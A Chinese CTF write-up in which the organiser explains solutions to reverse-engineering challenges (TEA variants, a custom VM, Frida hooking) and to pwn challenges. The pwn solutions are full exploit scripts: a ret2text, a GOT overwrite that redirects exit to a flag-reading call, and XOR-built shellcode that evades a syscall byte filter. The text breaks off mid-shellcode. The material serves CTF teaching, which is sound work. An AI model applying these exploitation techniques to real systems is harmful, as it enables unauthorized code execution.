前言 此次也是第二次出题吧,但是真正说起来其实算是第一次作为主办方之一筹备比赛,之前的UCSC CTF也只是出了一个签到题,没什么参与感,此次作为主办方之一参与感满满,pwn是第二次出题,但是没验题,导致题目有点瑕疵,望各位师傅们海涵😭😭 RE是第一次出题,由于本人也不是主学RE,实力太菜了,出题问题有点多,抱歉给做题的各位师傅造成了一些困扰。
这几天的比赛很感谢各位师傅的参与,比赛也圆满结束了,有任何吐槽都可以dd我,现将部分wp(本人出的题+写过的题)置于此:
RE flower + tea? https://plastic-tire-e58.notion.site/2025-1a0ca45ea8a48033b526dfd51015a193
Pyarmor_signin 两种方法
注意要在win下,因为pyd是win下生成的,放在linux里面会显示没有该模块
https://github.com/Lil-House/Pyarmor-Static-Unpack-1shot
time’sUP 简单的frida hook出参数,先base64解密,然后AES直接解密即可:
JEB反编译查看:
输入的字符串赋值给 s
,然后就是获得一些AES的关键参数,进行AES解后,再base64解密即可,最开始我是想要动调的,但是发现程序启动了反调试,由于不太会JEB动调改参数(尝试了一下发现不知如何操作),所以想着写frida hook出参数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 console .log ("Frida hook loaded" );Java .perform (function ( ) { var main = Java .use ("com.example.appre.MainActivity" ); main.aesCbcEncrypt .overload ('[B' ,'[B' ,'[B' ).implementation = function (data, key, iv ) { console .log ("=== getKey() ===" ); console .log ("arr_b: " + Java .array ('byte' , key).toString ()); console .log ("=== getIv() ===" ); console .log ("arr_b1: " + Java .array ('byte' , iv).toString ()); console .log ("=== input bytes ===" ); console .log ("arr_b2: " + Java .array ('byte' , data).toString ()); return result; } })
arr_b由于是基于时间戳随机生成的,我是后面才写的wp,此时随机数已经不一样了,幸好,我还有之前的截图:
然后直接赛博厨子一把梭
1 2 3 base64: WYxFmpzM0nrYaYtSa8pZupeHYQ2zpK+6 VLJL7Wmqvw+qMOmOMDH3UzfATiac1Ine key: 301b efa9c8f7d91aca16400ece61ff0d IV: 123456789 abcdef0
EzBianry 本地native加密,二叉树
这个是native层加密的函数,所以直接看so文件吧:
查看encode函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 _QWORD *__fastcall encode (__int64 input, __int64 a2, int len_1) { int v3; _QWORD *result; char v7; int v8; unsigned int v9; _QWORD *v10; _QWORD *v11; char v12; _QWORD *v13; v3 = len_1 - a2; if ( len_1 < a2 ) return 0LL ; if ( len_1 == a2 ) { v7 = *(input + len_1); result = malloc (0x18 uLL); *result = v7; result[1 ] = 0LL ; result[2 ] = 0LL ; } else { if ( v3 + 1 >= 0 ) v8 = v3 + 1 ; else v8 = v3 + 2 ; v9 = a2 + (v8 >> 1 ); v10 = encode(input, a2, v9 - 1 ); v11 = encode(input, v9, len_1 - 1 ); v12 = *(input + len_1); v13 = v11; result = malloc (0x18 uLL); *result = v12; result[1 ] = v10; result[2 ] = v13; } return result; }
其实就是二叉树的后续遍历,然后与既定数据比较即可:
由于数据不是很多,可以直接手搓,然后画图来着:
C++++_revenge C++++就不说了,其实加密算法和这个是一样的,但是这里有一个 trick
很恶心:
先看主函数:
其实分析起来还是挺简单的,加载了两个汇编写成的函数,然后将读入的数据存到text里,然后进过 do_main
汇编函数操作之后于data比较即可,来看看两端汇编代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 [ENABLE] alloc(main, $1000) label(cmp_body) label(exit) main: mov rdi, input call encrypt mov rdi, input mov rsi, data mov rcx, 5 mov rdx, 0x1234567890abcdef cmp_body: mov rax, qword ptr [rdi] xor rax, rdx cmp rax, qword ptr [rsi] jnz exit add rdi, 8 add rsi, 8 sub rcx, 1 test rcx, rcx jnz cmp_body exit: mov r8, data mov [r8+0x200], rcx ret createthread(main) registersymbol(main) [DISABLE] dealloc(main) unregistersymbol(main)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 [ENABLE] alloc(encrypt, $1000) alloc(data, $1000) label(loop_init) label(loop_body) label(input) encrypt: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi jmp loop_init loop_body: mov rax, QWORD PTR [rbp-8] movzx eax, BYTE PTR [rax] sub eax, 1 sal eax, 4 mov edx, eax mov rax, QWORD PTR [rbp-8] movzx eax, BYTE PTR [rax] movsx eax, al sub eax, 1 sar eax, 4 or eax, edx xor eax, 0xb2 mov edx, eax add edx, 7 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax], dl add QWORD PTR [rbp-8], 1 loop_init: mov rax, QWORD PTR [rbp-8] movzx eax, BYTE PTR [rax] test al, al jne loop_body pop rbp ret data+100: input: db 00 00 00 00 registersymbol(input) registersymbol(encrypt) registersymbol(data) [DISABLE] dealloc(encrypt) unregistersymbol(encrypt) dealloc(data) unregistersymbol(data) unregistersymbol(input)
具体分析后面再说,先来看看 trick
最开始我以为 AutoAssembler
是 c#自带的方法,但其实不是啊,出题人 S1nyer
还是太超模了,竟然自己搓了一个,还是tql,不削能玩?所以只能去审代码了,在这里将 main
函数异或的数值改了,还是太恶心了
那么直接上EXP吧(ai写的,自己不想写了):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 #include <stdio.h> #include <stdint.h> #include <string.h> uint8_t encrypt_byte (uint8_t c) { uint8_t a = c - 1 ; uint8_t left = a << 4 ; uint8_t right = a >> 4 ; uint8_t combined = left | right; return (combined ^ 0xb2 ) + 7 ; } int decrypt_byte (uint8_t encrypted, uint8_t *result) { for (int i = 1 ; i < 256 ; i++) { if (encrypt_byte((uint8_t )i) == encrypted) { *result = (uint8_t )i; return 1 ; } } return 0 ; } int main () { uint8_t data[48 ] = { 146 , 175 , 245 , 251 , 158 , 104 , 164 , 42 , 131 , 63 , 148 , 43 , 126 , 79 , 114 , 245 , 1 , 234 , 51 , 249 , 24 , 143 , 229 , 53 , 98 , 63 , 228 , 190 , 72 , 31 , 114 , 51 , 100 , 237 , 54 , 205 , 239 , 42 , 34 , 54 , 131 , 154 , 196 , 158 , 143 , 127 , 222 , 17 }; uint64_t xor_key = 7883960661928599903 ; uint8_t encrypted_input[48 ]; for (int i = 0 ; i < 6 ; i++) { uint64_t block; memcpy (&block, &data[i * 8 ], 8 ); block ^= xor_key; memcpy (&encrypted_input[i * 8 ], &block, 8 ); } uint8_t flag[49 ] = {0 }; for (int i = 0 ; i < 48 ; i++) { if (!decrypt_byte(encrypted_input[i], &flag[i])) { printf ("Failed to decrypt byte at index %d\n" , i); return 1 ; } } printf ("Recovered flag: %s\n" , flag); return 0 ; }
ez_turing 应该是最难的题目了吧,但其实难点是在分析上,我纯手动分析了差不多五个小时,略微折磨🥵🥵
该题目wp的pdf纯享版: https://pan.baidu.com/s/1vP5GkGFUSlHcBOQxsXJdNg?pwd=flag 提取码: flag
看 小记ezVM
即可
主函数如下,根据vmcode.bin里面的数据进行操作,然后最后满足a[8]的值即可,opcode都在 fun__函数里面,分析即可
总结 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 a1[18 ] 存储着堆指针 a1[19 ] = malloc (0x2000 uLL); a1[18 ] = a1[19 ]; switch (op)01 : a1[v2+1 ] += a1[v3+1 ] 操作数 += 3 02 : a1[v2+1 ] += v3 操作数 += 10 03 : a1[v2+1 ] -= a1[v3+1 ] 操作数 += 3 04 : a1[v2+1 ] -= v3 操作数 += 10 05 : a1[v2+1 ] *= a1[v3+1 ] 操作数 += 3 06 : a[v2+1 ] *= v3 操作数 += 10 07 : a1[v2+1 ] = a[v3+1 ] 操作数 += 3 08 : a1[v2+1 ] ^= a1[v3+1 ] 操作数 += 3 09 : heap , 操作数 += 2 0 A: a1[18 ] -= 8 a1[v2+1 ] = *a1[18 ] 操作数 += 2 0B : a1[1 ] = a[v3+1 ] - a[v2+1 ] 操作数 += 3 0 C: 无数据操作 操作数 += 3 +v20 D: if (!a1[1 ]) 操作数 += v2+3 else 操作数 += 3 0 E: if (a1[1 ]) 操作数 += v2+3 else 操作数 += 3 0F : a1[1 +v2] <<= v3 操作数 += 3 10 : a1[v2+1 ] >>= v3 操作数 += 3 下面获取堆上数据进行操作 11 : a1[v2+1 ] = *(a1[19 ] + v3) 操作数 += 4 12 : *(v3+a1[19 ]) = a1[1 +v2] 操作数 += 4 13 : a1[v2+1 ] = *(a1[19 ] + a1[v3+1 ]) 操作数 += 3 14 : *(a1[v2+1 ] + a1[19 ]) = a1[v3+1 ] 操作数 += 3 15 : a1[20 ] = 0 结束操作
直接看到vmcode.bin最后部分
如图所示,若是要使得a1[8]=0x9A55
,则满足两个要求
08 00 06
: a1[1] ^= a1[7]
0E 0E
: if(a1[1]) 操作数 += 0xe+3 –> 即跳转到 a1[8]=0xDEAD那条操作了。
注:08 07 07
:是将a1[8]清零
所以要满足a1[1] ^= a1[7] = 0,即 a1[1] = a1[7]
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
继续往上分析,可以发现有几个地方都存在如上的验证!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
a1[19]即堆上填满了flag的数据,一共6*8=48个数据,所以flag长度应该在41-48之间
每次取8字节堆上数据放到a1[1]
中,然后与a1[i+1]进行 ^=
,结果必须为0,即堆上数据与a1[1+i](i=1-6)相同
继续分析
tips1 :一连串的a[i+1](i=1~6)=a1[16]的赋值,然后再加上一个立即数
tips2 :感觉不太能执行,不然会执行 0c
直接跳转不知道哪去了,那么tips1就没执行了
0xD0h行:0B 0B 0F 0E A4
感觉也不太对,a1[1] = a1[16] - a1[13],若不为0,0E
执行跳转0xA4+3
,执行 0x180h行的0E 0E
,由于a[1]=0,那么还是会继续跳转,此时跳转就是0xDEAD
了,故a1[1] = a1[16] - a1[13]=0,但是然后运行14 06 01...
又不会跳转到tips了,神奇
tips开头 :很神奇,第一个 0E
确实跳转了,但是这里存在单字节溢出的现象,相当于又回到开头了,然后不停的循环,直到v6=0,即数据都读完,并且通过a1[1]和操作指令09
将数据都存入堆上,地址为a1[19]
正式加密:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 a1[8 ] += 0xE8 a1[9 ] += 0x89 a1[10 ] += 0x87 a1[11 ] += 0xE6 a1[5 ] = a1[16 ] a1[6 ] = a1[2 ] a1[6 ] >>= 1 a1[1 ] = a1[6 ] - a1[5 ] a1[7 ] = a1[5 ] a1[7 ] <<= 1 a1[2 ] = *(a1[19 ]+a1[7 ]*8 ) a1[7 ] += 1 a1[3 ] = *(a1[19 ]+a1[7 ]*8 ) a1[7 ] -= 1 a1[4 ]清零 a1[12 ] += 0x18 a1[4 ] += 0x21 a1[13 ] = a1[3 ] a1[13 ] <<= 4 a1[13 ] += a1[8 ] a1[14 ] = a1[3 ] a1[14 ] += a1[4 ] a1[15 ] = a[3 ] a1[15 ] >>= 5 a1[15 ] += a1[9 ] a1[13 ] ^= a1[14 ] a1[13 ] ^= a1[15 ] a1[2 ] += a1[13 ] a1[13 ] = a1[2 ] a1[13 ] <<= 4 a1[13 ] += a1[10 ] a1[13 ] = a1[2 ] a1[14 ] += a1[4 ] a1[15 ] = a1[2 ] a1[15 ] >>= 5 a1[15 ] += a1[11 ] a1[13 ] ^= a1[14 ] a1[13 ] ^= a1[15 ] a1[3 ] += a[13 ] a1[12 ] -= 1 a1[1 ] = a1[16 ] - a1[12 ] *(a1[19 ]+a1[7 ]*8 ) = a1[2 ] a1[7 ] += 1 *(a1[19 ]+a1[7 ]*8 ) = a1[3 ] a1[5 ] += 1 操作数 += 0x54 +3 ,溢出,跳转到 40 h行的 10 05 01 | 外层循环加密所有数据 a1[2 ] = a1[16 ] a1[2 ] += 0x58 a1[3 ] = a1[16 ] a1[3 ] += 0x26 a1[4 ] = a1[16 ] a1[4 ] += 0xB9 a1[5 ] = a1[16 ] a1[5 ] += 0xA4 a1[6 ] = a1[16 ] a1[6 ] += 0xD9 a1[7 ] = a1[16 ] a1[7 ] += 0x87 a1[1 ] = *(a1[19 ] + i*8 ) a1[1 ] ^= a1[k] k=2 ,3 ,4 ,5 ,6 ,7
通过看加密的算法,其实比较容易看出是tea加密,但是是64位的,对比一下标准的32位
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 void Encrypt (long * EntryData, long * Key) { unsigned long x = EntryData[0 ]; unsigned long y = EntryData[1 ]; unsigned long sum = 0 ; unsigned long delta = 0x9E3779B9 ; for (int i = 0 ; i < 32 ; i++) { sum += delta; x += ((y << 4 ) + Key[0 ]) ^ (y + sum) ^ ((y >> 5 ) + Key[1 ]); y += ((x << 4 ) + Key[2 ]) ^ (x + sum) ^ ((x >> 5 ) + Key[3 ]); } EntryData[0 ] = x; EntryData[1 ] = y; }
动调key、明文、delta(没截图,不想截图了)
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 #include <stdint.h> #include <stdio.h> void print_ascii (uint64_t value) { unsigned char *bytes = (unsigned char *)&value; for (int i = 0 ; i < 8 ; i++) { if (bytes[i] >= 32 && bytes[i] <= 126 ) { printf ("%c" , bytes[i]); } else { printf ("\\x%02X" , bytes[i]); } } } void tea_encrypt (uint32_t * v, uint32_t * k) { uint32_t v0 = v[0 ], v1 = v[1 ]; uint32_t sum = 0 ; uint32_t delta = 0x9e3779b9 ; uint32_t k0 = k[0 ], k1 = k[1 ], k2 = k[2 ], k3 = k[3 ]; for (int i = 0 ; i < 32 ; i++) { sum += delta; v0 += ((v1 << 4 ) + k0) ^ (v1 + sum) ^ ((v1 >> 5 ) + k1); v1 += ((v0 << 4 ) + k2) ^ (v0 + sum) ^ ((v0 >> 5 ) + k3); } v[0 ] = v0; v[1 ] = v1; } void tea_decrypt (uint32_t * v, uint32_t * k) { uint32_t v0 = v[0 ], v1 = v[1 ]; uint32_t sum = 0xC6EF3720 ; uint32_t delta = 0x9e3779b9 ; uint32_t k0 = k[0 ], k1 = k[1 ], k2 = k[2 ], k3 = k[3 ]; for (int i = 0 ; i < 32 ; i++) { v1 -= ((v0 << 4 ) + k2) ^ (v0 + sum) ^ ((v0 >> 5 ) + k3); v0 -= ((v1 << 4 ) + k0) ^ (v1 + sum) ^ ((v1 >> 5 ) + k1); sum -= delta; } v[0 ] = v0; v[1 ] = v1; } void my_encrypt (uint64_t * v , uint64_t * k) { uint64_t delta = 0xCAFEBABE0D000721 ; uint64_t v0 = v[0 ] , v1 = v[1 ]; uint64_t sum = 0 ; uint64_t k0 = k[0 ] , k1 = k[1 ] , k2 = k[2 ] , k3 = k[3 ]; for (int i = 0 ; i < 24 ; i++){ sum += delta; v0 += ((v1 << 4 ) + k0) ^ (v1 + sum) ^ ((v1 >> 5 ) + k1); v1 += ((v0 << 4 ) + k2) ^ (v0 + sum) ^ ((v0 >> 5 ) + k3); } v[0 ] = v0; v[1 ] = v1; } void my_decrypt (uint64_t * v , uint64_t * k) { uint64_t delta = 0xCAFEBABE0D000721 ; uint64_t v0 = v[0 ] , v1 = v[1 ]; uint64_t sum = 0xCAFEBABE0D000721 * 24 ; uint64_t k0 = k[0 ] , k1 = k[1 ] , k2 = k[2 ] , k3 = k[3 ]; for (int i = 0 ; i < 24 ; i++) { v1 -= ((v0 << 4 ) + k2) ^ (v0 + sum) ^ ((v0 >> 5 ) + k3); v0 -= ((v1 << 4 ) + k0) ^ (v1 + sum) ^ ((v1 >> 5 ) + k1); sum -= delta; } v[0 ] = v0; v[1 ] = v1; } int main () { uint64_t key[] = { 0x9CE6A58BE681A6E8 , 0x0E68885E585BFE589 , 0x0BB8EE5B1A4E58287 , 0x8FE5A58EE68E80E6 }; uint64_t encrypt_data[] = {0x9225C2295691ED58 , 0x0F58044F637F80C26 , 0x0F9F30D9F992BC3B9 , 0x0E5D8537D9674CCA4 , 0x2D977B86002702D9 , 0x6DE2B4196F76B787 }; for (int i = 0 ; i < 6 ; i+=2 ){ my_decrypt(encrypt_data+i , key); print_ascii(encrypt_data[i]); print_ascii(encrypt_data[i+1 ]); printf ("\n" ); printf ("解密后 : %08X %08X\n" , encrypt_data[i] , encrypt_data[i+1 ]); } return 0 ; }
1 HXCTF{2 _0wn_th3_d@wn_must_endure_the_dusk}
ezcsharp 感谢吴✌供题,wp见下方
https://pan.baidu.com/s/1vP5GkGFUSlHcBOQxsXJdNg?pwd=flag
链接里面查看word文档
PWN 部分题目附件: https://pan.baidu.com/s/1H_hs_r5PgWvkY90AFizsBw?pwd=flag
签到1-calc docker镜像:downbeat26/calc
题目很简单,brop,60s内完成100题即可,算式的结构给的很好了,直接写脚本即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import *import redef bug (): gdb.attach(p) pause() def get_addr (): return u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def ia (): p.interactive() sd = lambda data : p.send(data) sa = lambda text,data :p.sendafter(text, data) sl = lambda data :p.sendline(data) sla = lambda text,data :p.sendlineafter(text, data) rc = lambda num=4096 :p.recv(num) ru = lambda text :p.recvuntil(text) rl = lambda :p.recvline() pr = lambda num=4096 :print (p.recv(num)) l32 = lambda :u32(p.recvuntil(b'\xf7' )[-4 :].ljust(4 ,b'\x00' )) l64 = lambda :u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) uu32 = lambda :u32(p.recv(4 ).ljust(4 ,b'\x00' )) uu64 = lambda :u64(p.recv(6 ).ljust(8 ,b'\x00' )) int16 = lambda data :int (data,16 ) lg= lambda s, num :p.success('%s -> 0x%x' % (s, num)) context(arch = "amd64" ,os = "linux" ,log_level = "debug" ) context.terminal = ['gnome-terminal' , '-x' , 'sh' , '-c' ] p = remote("43.139.51.42" ,38118 ) ru("Come on!\n" ) for _ in range (100 ): ru("problem: " ) calc = p.recvuntil(" \n" ,drop=True ).decode().strip() calc = calc.replace('/' , '//' ) print ("calc is: " ,calc) ans = eval (calc) sleep(0.1 ) sl(str (ans)) ru("flag{" ) print ("flag{" + p.recv().decode())
签到2-ezStack docker镜像:downbeat26/ezstack
ubuntu22下编译
题目就简单的 ret2text
,但是存在 IBT
保护,跳转 backdoor
的时候不能跳转到函数开头的 endbr64
,所以可以选取 lea
那一条指令,如下:
选取这个:
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *def bug (): gdb.attach(p) pause() def get_addr (): return u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def ia (): p.interactive() sd = lambda data : p.send(data) sa = lambda text,data :p.sendafter(text, data) sl = lambda data :p.sendline(data) sla = lambda text,data :p.sendlineafter(text, data) rc = lambda num=4096 :p.recv(num) ru = lambda text :p.recvuntil(text) rl = lambda :p.recvline() pr = lambda num=4096 :print (p.recv(num)) l32 = lambda :u32(p.recvuntil(b'\xf7' )[-4 :].ljust(4 ,b'\x00' )) l64 = lambda :u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) uu32 = lambda :u32(p.recv(4 ).ljust(4 ,b'\x00' )) uu64 = lambda :u64(p.recv(6 ).ljust(8 ,b'\x00' )) int16 = lambda data :int (data,16 ) lg= lambda s, num :p.success('%s -> 0x%x' % (s, num)) context(arch = "amd64" ,os = "linux" ,log_level = "debug" ) context.terminal = ['gnome-terminal' , '-x' , 'sh' , '-c' ] file = "./pwn" p = process(file) backdoor = 0x040130C payload = cyclic(0x38 ) + p64(backdoor) sla("credits!\n" ,payload) ia()
签到3-uninitialized docker镜像:downbeat26/uninitialized
ubuntu18下编译
32位 栈上变量为初始化,导致栈上数据复用,后续 scanf("%d",a)
导致任意地址写。
简单说两句 没想到该题目校外三解,校内一解,预期解其实没那么少的,或许是写pwn的人太少了,该题目是 S1nyer
叫我出的,说该点的时候我想起在 2024moectf
的比赛里面就有个类似的,所以说可以是参考的那道题目,大家可以去西电比赛平台复现那道题目。
分析 很多师傅们反应程序无法运行,ldd pwn
可以查看什么缺少,大部分师傅们是缺少该so文件,该so文件包含了一个真随机数生成的函数 arc4random
,所以缺少的师傅们自行安装即可
1 sudo apt install libbsd0:i386
table()
函数就是往里面的buf数组填入随机数,然后输出出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 void __cdecl fill (int a1) { int i; int v2; for ( i = 0 ; i <= 3 ; ++i ) { v2 = 8 * i; *(_BYTE *)(v2 + a1) = list1[arc4random() % 0x1A u]; *(_BYTE *)(v2 + 1 + a1) = list2[arc4random() % 0x1A u]; *(_BYTE *)(v2 + 2 + a1) = list2[arc4random() % 0x1A u]; *(_BYTE *)(v2 + 3 + a1) = list3[arc4random() % 0x1A u]; *(_BYTE *)(v2 + 4 + a1) = list1[arc4random() % 0x1A u]; *(_BYTE *)(v2 + 5 + a1) = list3[arc4random() % 0x1A u]; *(_BYTE *)(v2 + 6 + a1) = list2[arc4random() % 0x1A u]; *(_BYTE *)(v2 + 7 + a1) = 0 ; } }
往buf读入8字节数据,然后与s1比较,相等的话才会 pass game1,但是s1并未输入,如何比较呢?这时候就可以动调看看栈上的数据:
可以发现s1对应的就是之前 table()
函数填充该函数里面的buf数组所残留下来的数据,因此我们只需要接收到该部分的字符,然后再填充到 game1()
函数的buf数组里面,即可绕过 strcmp()
函数
1 2 3 4 5 ru("Now, here is a magical code!\n" ) p.recv(16 ) payload = p.recv(8 ) print (payload)
该函数里又有两个子函数 func() vuln()
,其实 game1()
就是为了让大家了解未初始化栈的危害,然后在game2()
的时候利用该危害,用心良苦😭😭
先看到 func()
函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 unsigned int func () { char buf[32 ]; unsigned int v2; v2 = __readgsdword(0x14 u); puts ("Gogogo , chufalou!" ); len = read(0 , buf, 0x14 u); if ( len <= 0 ) exit (0 ); puts (buf); return __readgsdword(0x14 u) ^ v2; }
再看到 vuln()
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 unsigned int vuln () { int v1; int v2; unsigned int v3; v3 = __readgsdword(0x14 u); puts ("Can you controll it?" ); len = (__isoc99_scanf)("%d %d" ); if ( len <= 0 ) exit (0 ); if ( v1 != 11386543 || v2 != 47806 ) exit (0 ); system("cat flag" ); return __readgsdword(0x14 u) ^ v3; }
看到汇编:
可以发现ida没有正常显示就是因为我们并不是往栈上所指向的地址写入数据,就相当于 scanf("%d",a)
,这里就造成了一个任意地址写的问题,动调看看:
假设 func()
函数里输入:
1 payload = b'a' *4 + b'b' *4 + b'c' *4 + b'd' *4 + b'e' *4
可以发现我们正好可以对最后四字节所指向的地址进行写,但是这里没指向任何内容,但是我们已经知道我们可以控制最后四字节,但是对其进行任意写,那么思路就比较明显了。
由于 v1 v2的条件肯定是不满足的,因此会调用 exit()
函数,那么我们改 exit_got
指向system("cat flag")
的地址即可.
还有个知识点可以讲讲
1 2 scanf ("%d" ,&a);此时输入 '+' '-' 可以跳过输入
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 from pwn import *def bug (): gdb.attach(p) pause() def get_addr (): return u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def ia (): p.interactive() sd = lambda data : p.send(data) sa = lambda text,data :p.sendafter(text, data) sl = lambda data :p.sendline(data) sla = lambda text,data :p.sendlineafter(text, data) rc = lambda num=4096 :p.recv(num) ru = lambda text :p.recvuntil(text) rl = lambda :p.recvline() pr = lambda num=4096 :print (p.recv(num)) l32 = lambda :u32(p.recvuntil(b'\xf7' )[-4 :].ljust(4 ,b'\x00' )) l64 = lambda :u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) uu32 = lambda :u32(p.recv(4 ).ljust(4 ,b'\x00' )) uu64 = lambda :u64(p.recv(6 ).ljust(8 ,b'\x00' )) int16 = lambda data :int (data,16 ) lg= lambda s, num :p.success('%s -> 0x%x' % (s, num)) context(arch = "amd64" ,os = "linux" ,log_level = "debug" ) context.terminal = ['gnome-terminal' , '-x' , 'sh' , '-c' ] p = process("./pwn" ) elf = ELF("./pwn" ) puts_got = elf.got['puts' ] exit_got = elf.got['exit' ] cat_flag = 0x8048B51 ru("Now, here is a magical code!\n" ) p.recv(16 ) payload = p.recv(8 ) print (payload)sa("Tell me what you think!\n" ,payload) payload = b'a' *0x10 payload += p32(exit_got) sa("chufalou!\n" ,payload); payload = str (cat_flag).encode() +b'\n' + b'+' sla("controll it?\n" ,payload) print (p.recv())
题目后续 其实还有个64位的没上,感兴趣的可以试一下,没上的原因就是因为自己测了一下没写出来😫😫:
PWN标题下的网盘链接,查看 unintialized
文件夹即可,源代码也给出了。
签到4-babyshellcode docker镜像:downbeat26/babyshellcode
ubuntu18下编译,沙箱禁用 字节码禁用syscall, SYS_execve
前言 我靠啊,五一玩嗨了,题目出现大bug还没发现,问校内一血才知道非预期非完了,又看了一下题目才知道出错了,所以立马下线了,先说一下之前的Bug以及最开始的简单解法:
最开始用的是 strlen()
函数来判断写入的字节码的长度,这也就导致有\x00就会截断长度,因此一个 openat()
函数就直接绕过了check
,绷不住了。
然后最开始给了0x100字节,可以直接用可见字符shellcode
绕过check,直接用 AE64()
,项目如下:
https://github.com/veritas501/ae64
这个就不细说了,可以自己看看,其生成的长度是0xe4,比0x100是 小的,所以我最开始也是这么写的,不用动脑筋,但是为了考虑到这题目就是要选手们自己动手写写shellcode,因此将0x100改成了100字节。
相应的再推荐两篇文章看看:
关于常见沙箱解法的总结:https://blog.xmcve.com/2022/07/16/Sandbox%E6%80%BB%E7%BB%93/
自己也写了一些,但是烂尾了,抽空补上:http://downbeat.top/2024/11/13/Seccomp%E5%AD%A6%E4%B9%A0-1/
正式分析 ida打开发现无法反编译,那就直接看汇编
规定了程序必须是64位,因此无法改程序为32位,调用32的系统调用了
通过check就会执行写入的shellcode(当然还是因为这道题目什么保护都没开)
只是限制了这些字节码的出现而已,但是我们可以通过异或构造出这些字节码(加减乘除都可以,提示给了24点游戏
)
EXP 解法其实挺多的,先放一个我自己的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 from pwn import *from ae64 import AE64def bug (): gdb.attach(p) pause() def get_addr (): return u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def ia (): p.interactive() sd = lambda data : p.send(data) sa = lambda text,data :p.sendafter(text, data) sl = lambda data :p.sendline(data) sla = lambda text,data :p.sendlineafter(text, data) rc = lambda num=4096 :p.recv(num) ru = lambda text :p.recvuntil(text) rl = lambda :p.recvline() pr = lambda num=4096 :print (p.recv(num)) l32 = lambda :u32(p.recvuntil(b'\xf7' )[-4 :].ljust(4 ,b'\x00' )) l64 = lambda :u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) uu32 = lambda :u32(p.recv(4 ).ljust(4 ,b'\x00' )) uu64 = lambda :u64(p.recv(6 ).ljust(8 ,b'\x00' )) int16 = lambda data :int (data,16 ) lg= lambda s, num :p.success('%s -> 0x%x' % (s, num)) context(arch = "amd64" ,os = "linux" ,log_level = "debug" ) context.terminal = ['gnome-terminal' , '-x' , 'sh' , '-c' ] file = "./pwn" libc = "./libc.so.6" p = process(file) ru("Have a try!!!!\n" ) bss = 0x6020A8 sh = asm(''' /* 构造syscall ret*/ push 0; mov byte ptr [rsp], 0x4e; mov byte ptr [rsp+1], 0x44; xor byte ptr [rsp], 0x41; xor byte ptr [rsp+1], 0x41; mov byte ptr [rsp+2], 0xc3; mov rbx, rsp; /* open('flag') */ push 0x67616c66; mov rdi, rsp; xor rsi, rsi; xor rdx, rdx; push 2; pop rax; call rbx; /* read(3,bss,0x30) */ push 3; pop rdi; push 0x30; pop rdx; mov rsi, 0x6020A8; xor rax, rax; call rbx; /* write(1,bss,0x30) */ push 1; pop rdi; mov 